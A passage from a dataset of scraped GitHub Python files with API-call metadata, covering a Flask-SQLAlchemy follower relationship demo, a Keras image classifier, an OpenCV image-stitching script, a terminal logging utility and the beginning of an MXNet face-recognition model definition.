"itertools.combinations", "line_number": 13, "usage_type": "call"}, {"api_name": "itertools.combinations", "line_number": 17, "usage_type": "call"}, {"api_name": "itertools.product", "line_number": 19, "usage_type": "call"}, {"api_name": "copy.deepcopy", "line_number": 24, "usage_type": "call"}]} +{"seq_id": "28823417440", "text": "from flask import Flask\nfrom flask_sqlalchemy import SQLAlchemy\n\napp = Flask(__name__)\n\napp.config['SQLALCHEMY_DATABASE_URI'] = 'sqlite:///mtmrot.db'\napp.config['SQLALCHEMY_TRACK_MODIFICATIONS'] = False\n\ndb = SQLAlchemy(app)\n\n# 关联表，左侧的 user 正在关注右侧的 user\nassociation_table_follow = db.Table(\"association_table_follow\",\n db.Column(\"follower_id\", db.Integer, db.ForeignKey(\"user.id\")), # 左侧\n db.Column(\"followed_id\", db.Integer, db.ForeignKey(\"user.id\")) # 右侧\n)\n\nclass User(db.Model):\n id = db.Column(db.Integer, primary_key=True)\n username = db.Column(db.String(50), unique=True, nullable=False)\n # 建立好 association_table_follow 这个 Table 后，需要把 association_table_follow 和 User 做联接，故须在这边添加 relationship\n # followed 意思为 User 关注了谁\n # 也就是说，当使用 User.followed 只的是，显示 User 关注了哪些人\n followed = db.relationship(\n # 从 User 要往谁去连？要连去另一个 User 所以下面也是 \"User\"\n \"User\", secondary=association_table_follow,\n primaryjoin=(association_table_follow.c.follower_id == id),\n secondaryjoin=(association_table_follow.c.followed_id == id),\n backref=db.backref('followers', lazy=True), lazy=True\n # 因为 backref 是 followers，意思为 User 有哪些追随者\n # 也就是说，当使用 User.followers 只的是，显示 User 的追随者有哪些人\n )\n\n# 到 python3 shell 进行测试：让 u1 追随 u2\n# >>> from app.models import db\n# >>> db.create_all() # 更新数据库结构\n# >>> from app.models import User\n# >>> u1 = User(username='0001') # 新建测试用 u1\n# >>> u2 = User(username='0002') # 新建测试用 u2\n# >>> db.session.add(u1)\n# >>> db.session.add(u2)\n# >>> db.session.commit()\n\n\n# >>> u1.followed # 查看 u1 追随哪些人\n# [] # 空\n# >>> u1.follower # 查看 u1 被谁追随\n# [] # 空\n\n# >>> u1.followed.append(u2) # 使用 append() 让 u1 追随 u2 \n# >>> u1.followed # 再次查看 u1 追随哪些人\n# [] # u1 追随了 u2\n# >>> u2.followers # 查看 u2 被谁追随\n# [] # u2 被 u1 追随\n# 只在 u1 做 append() 修改，但可以发现 u2 的资料也发生了改变\n\n# 查看数据库表格变化\n# >>> db.session.commit()\n# 可以看到\n#\n# follower_id followed_id\n# 1 2\n#\n# 符合上述：关联表，左侧的 user 正在关注右侧的 user\n\n# >>> u1.followed.remove(u2) # 使用 remove() 让 u1 取消追随 u2\n# >>> u1.followed # 再次查看 u1 追谁哪些人 \n# [] # 空\n# >>> u2.followers # 查看 u2 被谁追随\n# [] # 空\n", "repo_name": "KPW10452025/Many_to_Many_Relationships_One_Table", "sub_path": "mtmrot.py", "file_name": "mtmrot.py", "file_ext": "py", "file_size_in_byte": 3286, "program_lang": "python", "lang": "zh", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "16", "api": [{"api_name": "flask.Flask", "line_number": 4, "usage_type": "call"}, {"api_name": "flask_sqlalchemy.SQLAlchemy", "line_number": 9, "usage_type": "call"}]} +{"seq_id": "44156726792", "text": "import tensorflow as tf\nfrom tensorflow import keras\nfrom sklearn.model_selection import train_test_split\nfrom notify import send_message_over_text\n\nfrom itertools import chain\nfrom keras import datasets, layers, models\nimport matplotlib.pyplot as plt\n\nseed = 415\nbatch_size = 32\ndropout_value = 0.4\n\ntrain_images = tf.keras.preprocessing.image_dataset_from_directory(\n \"images\",\n image_size=(48, 48),\n batch_size=batch_size,\n subset=\"training\",\n validation_split=0.2,\n color_mode='grayscale',\n seed=seed\n)\n\ntesting_images = tf.keras.preprocessing.image_dataset_from_directory(\n \"images\",\n image_size=(48, 48),\n batch_size=batch_size,\n subset=\"validation\",\n validation_split=0.2,\n color_mode='grayscale',\n seed=seed\n)\n\nmy_callbacks = [\n tf.keras.callbacks.EarlyStopping(monitor=\"val_accuracy\", patience=2),\n tf.keras.callbacks.ModelCheckpoint(filepath='model.{epoch:02d}-{val_loss:.2f}.h5'),\n #tf.keras.callbacks.TensorBoard(log_dir='./logs'),\n]\n\ndata_augmentation = tf.keras.Sequential([\n layers.RandomFlip(\"horizontal_and_vertical\"),\n layers.RandomRotation(0.2),\n])\n\nIMG_SIZE = 48\n\nresize_and_rescale = tf.keras.Sequential([\n layers.Resizing(IMG_SIZE, IMG_SIZE),\n layers.Rescaling(1./255)\n])\n\n\n# build the model\nmodel = models.Sequential([\n # convolutional starting size 48x48\n tf.keras.layers.Rescaling(1. / 255),\n\n resize_and_rescale,\n data_augmentation,\n\n # flat layers\n layers.Flatten(),\n layers.Dense(48*48, activation=\"relu\"),\n layers.Dropout(dropout_value),\n layers.BatchNormalization(),\n\n\n layers.Dense(48*48, activation=\"relu\"),\n layers.Dropout(dropout_value),\n layers.BatchNormalization(),\n\n layers.Dense(512, activation=\"relu\"),\n layers.Dropout(dropout_value),\n layers.BatchNormalization(),\n\n layers.Dense(512, activation=\"relu\"),\n layers.Dropout(dropout_value),\n layers.BatchNormalization(),\n\n layers.Dense(512, activation=\"relu\"),\n layers.Dropout(dropout_value),\n layers.BatchNormalization(),\n\n layers.Dense(512, activation=\"relu\"),\n layers.Dropout(dropout_value),\n layers.BatchNormalization(),\n\n layers.Dense(512, activation=\"relu\"),\n layers.Dropout(dropout_value),\n layers.BatchNormalization(),\n\n layers.Dense(512, activation=\"relu\"),\n layers.Dropout(dropout_value),\n layers.BatchNormalization(),\n\n layers.Dense(512, activation=\"relu\"),\n layers.Dropout(dropout_value),\n layers.BatchNormalization(),\n\n layers.Dense(512, activation=\"relu\"),\n layers.Dropout(dropout_value),\n layers.BatchNormalization(),\n\n layers.Dense(512, activation=\"relu\"),\n layers.Dropout(dropout_value),\n layers.BatchNormalization(),\n\n layers.Dense(6, activation=\"softmax\")\n\n])\n\n\nmodel.compile(optimizer='adam',\n loss=keras.losses.SparseCategoricalCrossentropy(),\n metrics=['accuracy']\n )\n\nhistory = model.fit(train_images, epochs=100,\n validation_data=testing_images,\n callbacks=my_callbacks)\n\ntest_loss, test_acc = model.evaluate(testing_images, verbose=2)\nprint(test_loss, test_acc)\n\nsend_message_over_text(f'test loss: {test_loss} \\n{test_acc}')\n\nprint(model.summary())", "repo_name": "patpragman/smile_tracker", "sub_path": "keras/ann.py", "file_name": "ann.py", "file_ext": "py", "file_size_in_byte": 3213, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "16", "api": [{"api_name": "tensorflow.keras.preprocessing.image_dataset_from_directory", "line_number": 14, "usage_type": "call"}, {"api_name": "tensorflow.keras", "line_number": 14, "usage_type": "attribute"}, {"api_name": "tensorflow.keras.preprocessing.image_dataset_from_directory", "line_number": 24, "usage_type": "call"}, {"api_name": "tensorflow.keras", "line_number": 24, "usage_type": "attribute"}, {"api_name": "tensorflow.keras.callbacks.EarlyStopping", "line_number": 35, "usage_type": "call"}, {"api_name": "tensorflow.keras", "line_number": 35, "usage_type": "attribute"}, {"api_name": "tensorflow.keras.callbacks.ModelCheckpoint", "line_number": 36, "usage_type": "call"}, {"api_name": "tensorflow.keras", "line_number": 36, "usage_type": "attribute"}, {"api_name": "tensorflow.keras.Sequential", "line_number": 40, "usage_type": "call"}, {"api_name": "tensorflow.keras", "line_number": 40, "usage_type": "attribute"}, {"api_name": "keras.layers.RandomFlip", "line_number": 41, "usage_type": "call"}, {"api_name": "keras.layers", "line_number": 41, "usage_type": "name"}, {"api_name": "keras.layers.RandomRotation", "line_number": 42, "usage_type": "call"}, {"api_name": "keras.layers", "line_number": 42, "usage_type": "name"}, {"api_name": "tensorflow.keras.Sequential", "line_number": 47, "usage_type": "call"}, {"api_name": "tensorflow.keras", "line_number": 47, "usage_type": "attribute"}, {"api_name": "keras.layers.Resizing", "line_number": 48, "usage_type": "call"}, {"api_name": "keras.layers", "line_number": 48, "usage_type": "name"}, {"api_name": "keras.layers.Rescaling", "line_number": 49, "usage_type": "call"}, {"api_name": "keras.layers", "line_number": 49, "usage_type": "name"}, {"api_name": "keras.models.Sequential", "line_number": 54, "usage_type": "call"}, {"api_name": "keras.models", "line_number": 54, "usage_type": "name"}, {"api_name": "tensorflow.keras.layers.Rescaling", "line_number": 56, "usage_type": "call"}, {"api_name": "tensorflow.keras", "line_number": 56, "usage_type": "attribute"}, {"api_name": "keras.layers.Flatten", "line_number": 62, "usage_type": "call"}, {"api_name": "keras.layers", "line_number": 62, "usage_type": "name"}, {"api_name": "keras.layers.Dense", "line_number": 63, "usage_type": "call"}, {"api_name": "keras.layers", "line_number": 63, "usage_type": "name"}, {"api_name": "keras.layers.Dropout", "line_number": 64, "usage_type": "call"}, {"api_name": "keras.layers", "line_number": 64, "usage_type": "name"}, {"api_name": "keras.layers.BatchNormalization", "line_number": 65, "usage_type": "call"}, {"api_name": "keras.layers", "line_number": 65, "usage_type": "name"}, {"api_name": "keras.layers.Dense", "line_number": 68, "usage_type": "call"}, {"api_name": "keras.layers", "line_number": 68, "usage_type": "name"}, {"api_name": "keras.layers.Dropout", "line_number": 69, "usage_type": "call"}, {"api_name": "keras.layers", "line_number": 69, "usage_type": "name"}, {"api_name": "keras.layers.BatchNormalization", "line_number": 70, "usage_type": "call"}, {"api_name": "keras.layers", "line_number": 70, "usage_type": "name"}, {"api_name": "keras.layers.Dense", "line_number": 72, "usage_type": "call"}, {"api_name": "keras.layers", "line_number": 72, "usage_type": "name"}, {"api_name": "keras.layers.Dropout", "line_number": 73, "usage_type": "call"}, {"api_name": "keras.layers", "line_number": 73, "usage_type": "name"}, {"api_name": "keras.layers.BatchNormalization", "line_number": 74, "usage_type": "call"}, {"api_name": "keras.layers", "line_number": 74, "usage_type": "name"}, {"api_name": "keras.layers.Dense", "line_number": 76, "usage_type": "call"}, {"api_name": "keras.layers", "line_number": 76, "usage_type": "name"}, {"api_name": "keras.layers.Dropout", "line_number": 77, "usage_type": "call"}, {"api_name": "keras.layers", "line_number": 77, "usage_type": "name"}, {"api_name": "keras.layers.BatchNormalization", "line_number": 78, "usage_type": "call"}, {"api_name": "keras.layers", "line_number": 78, "usage_type": "name"}, {"api_name": "keras.layers.Dense", "line_number": 80, "usage_type": "call"}, {"api_name": "keras.layers", "line_number": 80, "usage_type": "name"}, {"api_name": "keras.layers.Dropout", "line_number": 81, "usage_type": "call"}, {"api_name": "keras.layers", "line_number": 81, "usage_type": "name"}, {"api_name": "keras.layers.BatchNormalization", "line_number": 82, "usage_type": "call"}, {"api_name": "keras.layers", "line_number": 82, "usage_type": "name"}, {"api_name": "keras.layers.Dense", "line_number": 84, "usage_type": "call"}, {"api_name": "keras.layers", "line_number": 84, "usage_type": "name"}, {"api_name": "keras.layers.Dropout", "line_number": 85, "usage_type": "call"}, {"api_name": "keras.layers", "line_number": 85, "usage_type": "name"}, {"api_name": "keras.layers.BatchNormalization", "line_number": 86, "usage_type": "call"}, {"api_name": "keras.layers", "line_number": 86, "usage_type": "name"}, {"api_name": "keras.layers.Dense", "line_number": 88, "usage_type": "call"}, {"api_name": "keras.layers", "line_number": 88, "usage_type": "name"}, {"api_name": "keras.layers.Dropout", "line_number": 89, "usage_type": "call"}, {"api_name": "keras.layers", "line_number": 89, "usage_type": "name"}, {"api_name": "keras.layers.BatchNormalization", "line_number": 90, "usage_type": "call"}, {"api_name": "keras.layers", "line_number": 90, "usage_type": "name"}, {"api_name": "keras.layers.Dense", "line_number": 92, "usage_type": "call"}, {"api_name": "keras.layers", "line_number": 92, "usage_type": "name"}, {"api_name": "keras.layers.Dropout", "line_number": 93, "usage_type": "call"}, {"api_name": "keras.layers", "line_number": 93, "usage_type": "name"}, {"api_name": "keras.layers.BatchNormalization", "line_number": 94, "usage_type": "call"}, {"api_name": "keras.layers", "line_number": 94, "usage_type": "name"}, {"api_name": "keras.layers.Dense", "line_number": 96, "usage_type": "call"}, {"api_name": "keras.layers", "line_number": 96, "usage_type": "name"}, {"api_name": "keras.layers.Dropout", "line_number": 97, "usage_type": "call"}, {"api_name": "keras.layers", "line_number": 97, "usage_type": "name"}, {"api_name": "keras.layers.BatchNormalization", "line_number": 98, "usage_type": "call"}, {"api_name": "keras.layers", "line_number": 98, "usage_type": "name"}, {"api_name": "keras.layers.Dense", "line_number": 100, "usage_type": "call"}, {"api_name": "keras.layers", "line_number": 100, "usage_type": "name"}, {"api_name": "keras.layers.Dropout", "line_number": 101, "usage_type": "call"}, {"api_name": "keras.layers", "line_number": 101, "usage_type": "name"}, {"api_name": "keras.layers.BatchNormalization", "line_number": 102, "usage_type": "call"}, {"api_name": "keras.layers", "line_number": 102, "usage_type": "name"}, {"api_name": "keras.layers.Dense", "line_number": 104, "usage_type": "call"}, {"api_name": "keras.layers", "line_number": 104, "usage_type": "name"}, {"api_name": "keras.layers.Dropout", "line_number": 105, "usage_type": "call"}, {"api_name": "keras.layers", "line_number": 105, "usage_type": "name"}, {"api_name": "keras.layers.BatchNormalization", "line_number": 106, "usage_type": "call"}, {"api_name": "keras.layers", "line_number": 106, "usage_type": "name"}, {"api_name": "keras.layers.Dense", "line_number": 108, "usage_type": "call"}, {"api_name": "keras.layers", "line_number": 108, "usage_type": "name"}, {"api_name": "tensorflow.keras.losses.SparseCategoricalCrossentropy", "line_number": 114, "usage_type": "call"}, {"api_name": "tensorflow.keras.losses", "line_number": 114, "usage_type": "attribute"}, {"api_name": "tensorflow.keras", "line_number": 114, "usage_type": "name"}, {"api_name": "notify.send_message_over_text", "line_number": 125, "usage_type": "call"}]} +{"seq_id": "36114412088", "text": "import cv2\nimport numpy as np\nimport tensorflow.keras.backend as k\nfrom Net_homography import euclidean_distance\nfrom img_input import img_input\nimport tensorflow as tf\n\n\nk.clear_session()\nmy_model = tf.keras.models.load_model(\"ho_model.h5\", custom_objects={'euclidean_distance': euclidean_distance})\n\n# Load the input images\nimg1 = cv2.imread('t1.jpg')\nif img1.shape[0] > 1000:\n img1 = cv2.resize(img1, (int(960/img1.shape[0] * img1.shape[1]), 960))\n\ncv2.imshow(\"img1\", img1)\ncv2.waitKey(0)\nimg2 = cv2.imread('t.jpg')\nif img2.shape[0] > 1000:\n img2 = cv2.resize(img2, (int(960/img1.shape[0] * img1.shape[1]), 960))\n\n# img2 = cv2.resize(img2, (1000, 1000))\n# cv2.imshow(\"img2\", img2)\n# cv2.waitKey(0)\n\n# Convert the input images to grayscale\nimg1_gray = cv2.cvtColor(img1, cv2.COLOR_BGR2GRAY)\nimg2_gray = cv2.cvtColor(img2, cv2.COLOR_BGR2GRAY)\n\ninput_pair, four_points = img_input(img1_gray, img2_gray)\nlabels = my_model.predict(input_pair)\nk.clear_session()\nlabel = np.int32(labels.reshape((4, 2)))\nperturbed_points = np.subtract(four_points, label)\nH = cv2.getPerspectiveTransform(np.float32(four_points), np.float32(perturbed_points))\n\n\n# Create a SIFT object and detect keypoints and descriptors in both images\nsift = cv2.xfeatures2d.SURF_create()\n# sift = cv2.SIFT_create()\nkp1, des1 = sift.detectAndCompute(img1_gray, None)\nkp2, des2 = sift.detectAndCompute(img2_gray, None)\n\n# Create a BFMatcher object and match the descriptors\nbf = cv2.BFMatcher(crossCheck=False)\n\nmatches = bf.knnMatch(des1, des2, k=2)\n\n# Sort the matches by distance\n# matches = sorted(matches, key=lambda x: x.distance)\n\ngood_matches = []\nratio = 0.5\n\nfor m, n in matches:\n if m.distance < ratio * n.distance:\n good_matches.append(m)\n\n# Compute the homography matrix from the top matche\nif len(good_matches) >= 4:\n src_pts = np.float32([kp2[m.trainIdx].pt for m in good_matches]).reshape(-1, 1, 2)\n dst_pts = np.float32([kp1[m.queryIdx].pt for m in good_matches]).reshape(-1, 1, 2)\n M, _ = cv2.findHomography(src_pts, dst_pts, cv2.RANSAC, 4.0)\nelse:\n print(\"no enough matches！\")\n exit()\n\n\nprint(\"H\", H )\nprint(\"M\", M)\n# Warp the second image onto the first using the homography matrix\nwarp = cv2.warpPerspective(img2, M, (img1.shape[1] + img2.shape[1], max(img1.shape[0], img2.shape[0])))\nresult = warp.copy()\n# cv2.imshow(\"warp\", result)\n# show_match = cv2.drawMatches(img1, kp1, img2, kp2, good_matches, None, flags=2)\n# cv2.imshow(\"matches\", show_match)\n# cv2.waitKey(0)\nresult[0:img1.shape[0], 0:img1.shape[1]-20] = img1[:, 0:img1.shape[1]-20]\ncv2.imshow(\"warp\", result)\ncv2.waitKey(0)\ncv2.destroyAllWindows()\n\nmask = np.zeros(result.shape[:2], dtype=np.uint8)\nmask[:, 0:img1.shape[1]] = 255\ncv2.imshow(\"mask\", mask)\ncv2.waitKey(0)\nresult = cv2.seamlessClone(img1, result, mask, (img1.shape[1]//2, img1.shape[0]//2), cv2.NORMAL_CLONE)\ncv2.imshow(\"blend\", result)\ncv2.waitKey(0)\ncv2.destroyAllWindows()\n\nstitched_img = result\n# Find the bounding box of the stitched image\n# height, width, channels = stitched_img.shape\n# min_x, min_y = width, height\n# max_x = max_y = 0\n# for y in range(height):\n# for x in range(width):\n# if not all(stitched_img[y, x] == [0, 0, 0]):\n# min_x = min(x, min_x)\n# min_y = min(y, min_y)\n# max_x = max(x, max_x)\n# max_y = max(y, max_y)\n#\n# bbox = (min_x, min_y, max_x - min_x, max_y - min_y)\n#\n# # Crop the stitched image to the bounding box\n# stitched_img_cropped = stitched_img[bbox[1]:bbox[1] + bbox[3], bbox[0]:bbox[0] + bbox[2]]\n# cv2.imshow(\"crop\", stitched_img_cropped)\n# cv2.waitKey(0)\n\n# Find the contours of the non-black regions\ngray = cv2.cvtColor(stitched_img, cv2.COLOR_BGR2GRAY)\ngray = cv2.medianBlur(gray, 3)\n_, thresh = cv2.threshold(gray, 0, 255, cv2.THRESH_BINARY)\n\ncv2.imshow(\"thresh\", thresh)\ncv2.waitKey(0)\ncv2.destroyAllWindows()\nbinary, contours, hierarchy = cv2.findContours(thresh, cv2.RETR_EXTERNAL, cv2.CHAIN_APPROX_SIMPLE)\n\n# Find the bounding rectangle of the non-black regions\n# cnt = max(contours, key=cv2.contourArea)\ncontours.sort(key=lambda c: cv2.contourArea(c), reverse=True)\n# cont = cv2.drawContours(img1.copy(), contours, 0, (0, 0, 255), 2)\n# cv2.imshow(\"cont\", cont)\n# cv2.waitKey(0)\n\nrect = x_cnt, y_cbt, w, h = cv2.boundingRect(contours[0])\nrect_img = stitched_img.copy()\ncv2.rectangle(rect_img, (0, 0), (w, h), (255, 0, 0), 1)\ncv2.imshow(\"rect\", rect_img)\ncv2.waitKey(0)\n\n\n# Crop the stitched image to the bounding rectangle\nstitched_img_cropped_rect = stitched_img[:h-40, :w-40]\n\n\ncv2.imshow(\"pano\", stitched_img_cropped_rect)\ncv2.waitKey(0)\ncv2.destroyAllWindows()\n# cv2.imwrite('result.jpg', result)\n", "repo_name": "kaseth/image-stitch", "sub_path": "basic.py", "file_name": "basic.py", "file_ext": "py", "file_size_in_byte": 4650, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "16", "api": [{"api_name": "tensorflow.keras.backend.clear_session", "line_number": 9, "usage_type": "call"}, {"api_name": "tensorflow.keras.backend", "line_number": 9, "usage_type": "name"}, {"api_name": "tensorflow.keras.models.load_model", "line_number": 10, "usage_type": "call"}, {"api_name": "tensorflow.keras", "line_number": 10, "usage_type": "attribute"}, {"api_name": "Net_homography.euclidean_distance", "line_number": 10, "usage_type": "name"}, {"api_name": "cv2.imread", "line_number": 13, "usage_type": "call"}, {"api_name": "cv2.resize", "line_number": 15, "usage_type": "call"}, {"api_name": "cv2.imshow", "line_number": 17, "usage_type": "call"}, {"api_name": "cv2.waitKey", "line_number": 18, "usage_type": "call"}, {"api_name": "cv2.imread", "line_number": 19, "usage_type": "call"}, {"api_name": "cv2.resize", "line_number": 21, "usage_type": "call"}, {"api_name": "cv2.cvtColor", "line_number": 28, "usage_type": "call"}, {"api_name": "cv2.COLOR_BGR2GRAY", "line_number": 28, "usage_type": "attribute"}, {"api_name": "cv2.cvtColor", "line_number": 29, "usage_type": "call"}, {"api_name": "cv2.COLOR_BGR2GRAY", "line_number": 29, "usage_type": "attribute"}, {"api_name": "img_input.img_input", "line_number": 31, "usage_type": "call"}, {"api_name": "tensorflow.keras.backend.clear_session", "line_number": 33, "usage_type": "call"}, {"api_name": "tensorflow.keras.backend", "line_number": 33, "usage_type": "name"}, {"api_name": "numpy.int32", "line_number": 34, "usage_type": "call"}, {"api_name": "numpy.subtract", "line_number": 35, "usage_type": "call"}, {"api_name": "cv2.getPerspectiveTransform", "line_number": 36, "usage_type": "call"}, {"api_name": "numpy.float32", "line_number": 36, "usage_type": "call"}, {"api_name": "cv2.xfeatures2d.SURF_create", "line_number": 40, "usage_type": "call"}, {"api_name": "cv2.xfeatures2d", "line_number": 40, "usage_type": "attribute"}, {"api_name": "cv2.BFMatcher", "line_number": 46, "usage_type": "call"}, {"api_name": "numpy.float32", "line_number": 62, "usage_type": "call"}, {"api_name": "numpy.float32", "line_number": 63, "usage_type": "call"}, {"api_name": "cv2.findHomography", "line_number": 64, "usage_type": "call"}, {"api_name": "cv2.RANSAC", "line_number": 64, "usage_type": "attribute"}, {"api_name": "cv2.warpPerspective", "line_number": 73, "usage_type": "call"}, {"api_name": "cv2.imshow", "line_number": 80, "usage_type": "call"}, {"api_name": "cv2.waitKey", "line_number": 81, "usage_type": "call"}, {"api_name": "cv2.destroyAllWindows", "line_number": 82, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 84, "usage_type": "call"}, {"api_name": "numpy.uint8", "line_number": 84, "usage_type": "attribute"}, {"api_name": "cv2.imshow", "line_number": 86, "usage_type": "call"}, {"api_name": "cv2.waitKey", "line_number": 87, "usage_type": "call"}, {"api_name": "cv2.seamlessClone", "line_number": 88, "usage_type": "call"}, {"api_name": "cv2.NORMAL_CLONE", "line_number": 88, "usage_type": "attribute"}, {"api_name": "cv2.imshow", "line_number": 89, "usage_type": "call"}, {"api_name": "cv2.waitKey", "line_number": 90, "usage_type": "call"}, {"api_name": "cv2.destroyAllWindows", "line_number": 91, "usage_type": "call"}, {"api_name": "cv2.cvtColor", "line_number": 114, "usage_type": "call"}, {"api_name": "cv2.COLOR_BGR2GRAY", "line_number": 114, "usage_type": "attribute"}, {"api_name": "cv2.medianBlur", "line_number": 115, "usage_type": "call"}, {"api_name": "cv2.threshold", "line_number": 116, "usage_type": "call"}, {"api_name": "cv2.THRESH_BINARY", "line_number": 116, "usage_type": "attribute"}, {"api_name": "cv2.imshow", "line_number": 118, "usage_type": "call"}, {"api_name": "cv2.waitKey", "line_number": 119, "usage_type": "call"}, {"api_name": "cv2.destroyAllWindows", "line_number": 120, "usage_type": "call"}, {"api_name": "cv2.findContours", "line_number": 121, "usage_type": "call"}, {"api_name": "cv2.RETR_EXTERNAL", "line_number": 121, "usage_type": "attribute"}, {"api_name": "cv2.CHAIN_APPROX_SIMPLE", "line_number": 121, "usage_type": "attribute"}, {"api_name": "cv2.contourArea", "line_number": 125, "usage_type": "call"}, {"api_name": "cv2.boundingRect", "line_number": 130, "usage_type": "call"}, {"api_name": "cv2.rectangle", "line_number": 132, "usage_type": "call"}, {"api_name": "cv2.imshow", "line_number": 133, "usage_type": "call"}, {"api_name": "cv2.waitKey", "line_number": 134, "usage_type": "call"}, {"api_name": "cv2.imshow", "line_number": 141, "usage_type": "call"}, {"api_name": "cv2.waitKey", "line_number": 142, "usage_type": "call"}, {"api_name": "cv2.destroyAllWindows", "line_number": 143, "usage_type": "call"}]} +{"seq_id": "28542828829", "text": "from termcolor import cprint\nimport sys\nimport os\n\n\nLABEL_LINE = '**='\nfor i in range(5):\n LABEL_LINE += LABEL_LINE\nLABEL_LINE += '**'\n\ndef clear_print(x):\n print('')\n print(x)\n print('')\n\ndef print_info(text, prefix=''): # add '\\n' automatically\n text = str(text)\n text = ' ' + prefix + ' ' + text \n #cprint(text, 'green', 'on_white')\n cprint(text, 'green')\n return text\n\ndef print_output(text, prefix=''):\n text = str(text)\n text = '<#OUT> ' + prefix + ' ' + text\n #cprint(text, 'blue', 'on_white')\n cprint(text, 'blue')\n return text\n\ndef print_warn(text, prefix=''):\n text = str(text)\n text = ' ' + prefix + ' ' + text\n #cprint(text, 'yellow', 'on_white')\n cprint(text, 'yellow')\n return text\n\ndef clear_print_line(text, color='blue'):\n clear_line()\n cprint(text, color)\n\n\ndef move_up(line_num):\n if line_num > 0:\n print('\\033[%dA' % line_num, end='', flush=True)\n\ndef move_down(line_num):\n if line_num > 0:\n print('\\033[%dB' % line_num, end='', flush=True)\n\ndef clear_line():\n print('\\033[K', end='', flush=True)\n\ndef save_cur():\n print('\\033[s', end='', flush=True)\n \ndef restore_cur():\n print('\\033[u', end='', flush=True)\n \ndef flash_label():\n save_cur()\n print('\\033[5m'+LABEL_LINE+'\\033[0m', end='', flush=True)\n restore_cur()\n\n\nclass PrintLogger():\n def __init__(self, log_dir, is_restore, file_name='term_out.log', prefix=''):\n self.log_dir = log_dir\n self.prefix = prefix\n if is_restore:\n self.out_file = open(os.path.join(self.log_dir, file_name), 'a')\n else:\n self.out_file = open(os.path.join(self.log_dir, file_name), 'a')\n self.MAX_line = None\n self.current_line = 0\n self.append_num = 0\n\n\n def __del__(self):\n self.out_file.close()\n\n \n def set_max_line(self, num):\n self.MAX_line = num\n\n def normal(self):\n move_down(self.MAX_line-self.current_line+self.append_num)\n self.MAX_line = None\n\n\n def check_position(self):\n if self.MAX_line != None: \n if self.current_line >= self.MAX_line:\n self.current_line = 1\n self._clear_line()\n move_up(self.MAX_line) \n else:\n self.current_line += 1\n \n def _clear_line(self):\n if self.MAX_line != None:\n clear_line() \n\n def _flash_label(self):\n if self.MAX_line != None:\n flash_label()\n\n def _get_prefix(self):\n if self.MAX_line != None:\n return self.prefix + ' (%02d)' % self.current_line\n else:\n return self.prefix\n\n def log_info(self, text): # add '\\n' automatically\n self.check_position()\n text = str(text)\n self._clear_line()\n text = print_info(text, self._get_prefix())\n self._clear_line()\n self._flash_label()\n self.out_file.write(text+'\\n')\n self.out_file.flush()\n\n def log_output(self, text):\n self.check_position()\n text = str(text)\n self._clear_line()\n text = print_output(text, self._get_prefix())\n self._clear_line()\n self._flash_label()\n self.out_file.write(text+'\\n')\n self.out_file.flush()\n\n def log_warn(self, text):\n text = str(text)\n text = print_warn(text, self.prefix)\n self.out_file.write(text+'\\n')\n self.out_file.flush()\n\n def log_file(self, text):\n if isinstance(text, list):\n for t in text:\n self.out_file.write(t+'\\n')\n else:\n self.out_file.write(text+'\\n')\n self.out_file.flush()\n\n def append_print(self, text, index, to_file=False):\n if self.MAX_line != None:\n self.append_num = max(self.append_num, index)\n save_cur()\n s = self.MAX_line-self.current_line+index-1\n move_down(s)\n self._clear_line()\n print(text, end='')\n restore_cur()\n else:\n print(text)\n if to_file:\n self.out_file.write(text+'\\n')\n self.out_file.flush()\n \n\n", "repo_name": "murcherful/USSPA", "sub_path": "code/util/print_util.py", "file_name": "print_util.py", "file_ext": "py", "file_size_in_byte": 4180, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 13, "dataset": "github-code", "pt": "16", "api": [{"api_name": "termcolor.cprint", "line_number": 20, "usage_type": "call"}, {"api_name": "termcolor.cprint", "line_number": 27, "usage_type": "call"}, {"api_name": "termcolor.cprint", "line_number": 34, "usage_type": "call"}, {"api_name": "termcolor.cprint", "line_number": 39, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 70, "usage_type": "call"}, {"api_name": "os.path", "line_number": 70, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 72, "usage_type": "call"}, {"api_name": "os.path", "line_number": 72, "usage_type": "attribute"}]} +{"seq_id": "5093848663", "text": "from __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import print_function\n\nimport os\nimport argparse\nimport sys\nimport numpy as np\nfrom sklearn.metrics.pairwise import cosine_similarity\nfrom scipy import misc\nfrom sklearn.model_selection import KFold\nfrom scipy import interpolate\nimport sklearn\nimport cv2\nimport math\nimport datetime\nimport pickle\nfrom sklearn.decomposition import PCA\nimport mxnet as mx\nfrom mxnet import ndarray as nd\n\nd = os.path.dirname(__file__)\nsys.path.append(os.path.join(os.path.dirname(d), 'symbols'))\nimport fmobilefacenet\n\nsys.path.append(os.path.join(os.path.dirname(__file__), '..', 'common'))\nimport face_image\nfrom collections import namedtuple\n\nBatch = namedtuple('Batch', ['data'])\n\n\ndef get_symbol(args, arg_params, aux_params):\n # data_shape = (args.image_channel, args.image_h, args.image_w)\n data_shape = (3, 112, 112)\n image_shape = \",\".join([str(x) for x in data_shape])\n margin_symbols = []\n # print('init mobilefacenet', args.num_layers)\n embedding = fmobilefacenet.get_symbol(args.emb_size, bn_mom=args.bn_mom, version_output=args.version_output)\n\n all_label = mx.symbol.Variable('softmax_label')\n gt_label = all_label\n extra_loss = None\n _weight = mx.symbol.Variable(\"fc7_weight\", shape=(args.num_classes, args.emb_size), lr_mult=args.fc7_lr_mult,\n wd_mult=args.fc7_wd_mult)\n\n if args.loss_type == 4:\n s = args.margin_s\n m = args.margin_m\n assert s > 0.0\n assert m >= 0.0\n assert m < (math.pi / 2)\n _weight = mx.symbol.L2Normalization(_weight, mode='instance')\n nembedding = mx.symbol.L2Normalization(embedding, mode='instance', name='fc1n') * s\n fc7 = mx.sym.FullyConnected(data=nembedding, weight=_weight, no_bias=True, num_hidden=args.num_classes,\n name='fc7')\n zy = mx.sym.pick(fc7, gt_label, axis=1)\n cos_t = zy / s\n cos_m = math.cos(m)\n sin_m = math.sin(m)\n mm = math.sin(math.pi - m) * m\n # threshold = 0.0\n threshold = math.cos(math.pi - m)\n if args.easy_margin:\n cond = 